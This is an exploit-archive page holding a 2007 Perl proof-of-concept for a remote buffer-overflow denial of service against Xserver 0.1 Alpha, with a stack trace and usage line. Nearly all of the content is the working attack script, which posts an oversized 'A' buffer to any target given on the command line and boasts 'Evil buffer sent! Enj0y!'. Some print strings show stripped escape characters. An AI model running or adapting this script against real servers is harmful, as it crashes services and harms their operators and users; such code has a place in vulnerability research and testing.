[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Xserver 0.1 Alpha Post Request Remote Buffer Overflow Exploit
# Published : 2007-07-23
# Author : deusconstruct
# Previous Title : MS Windows Explorer.exe Gif Image Denial of Service Exploit
# Next Title : TeamSpeak 2.0 (Windows Release) Remote Denial of Service Exploit


#!/usr/bin/perl
#
#      _                                    _                   _  
#   __| | ___ _   _ ___  ___ ___  _ __  ___| |_ _ __ _   _  ___| |_
#  / _` |/ _  | | / __|/ __/ _ | '_ / __| __| '__| | | |/ __| __|
# | (_| |  __/ |_| __  (_| (_) | | | __  |_| |  | |_| | (__| |_ 
#  __,_|___|__,_|___/______/|_| |_|___/__|_|   __,_|___|__|
#                      d.e.u.s..c.o.n.s.t.r.u.c.t
#
# Type       -> Proof-of-Concept (P0C) Remote DoS Buffer Overflow
# App        -> Xserver 0.1 Alpha
# URL  	     -> http://sourceforge.net/projects/xserver/
# Found By   -> deusconstruct
#
# Stack trace:
# Frame     Function  Args
# 18FDC978  610DE824  (41414141, 004020E4, 0040202E, 00000000)
# 18FDCD58  004015D4  (41414141, 41414141, 41414141, 41414141)
#
# Usage: perl xserver-dos-poc.pl www.target.com

use LWP::UserAgent;

$uniq = LWP::UserAgent->new;
$url = shift or die("Please insert a target domain or IP!");
$buffer = 150; # Teh evil 0verflow ammount

print "n============================n";
print "Xserver 0.1 Alpha Remote DoSn";
print "DiSc0vEreD by deusconstructn";
print "============================n";
print "n";
print "[+] Sending evil buffer to $url ...n";
$req = HTTP::Request->new(POST => "http://$url/" . A x $buffer);
$res = $uniq->request($req);
print "[+] Evil buffer sent! Enj0y!n";

# www.Syue.com [2007-07-23]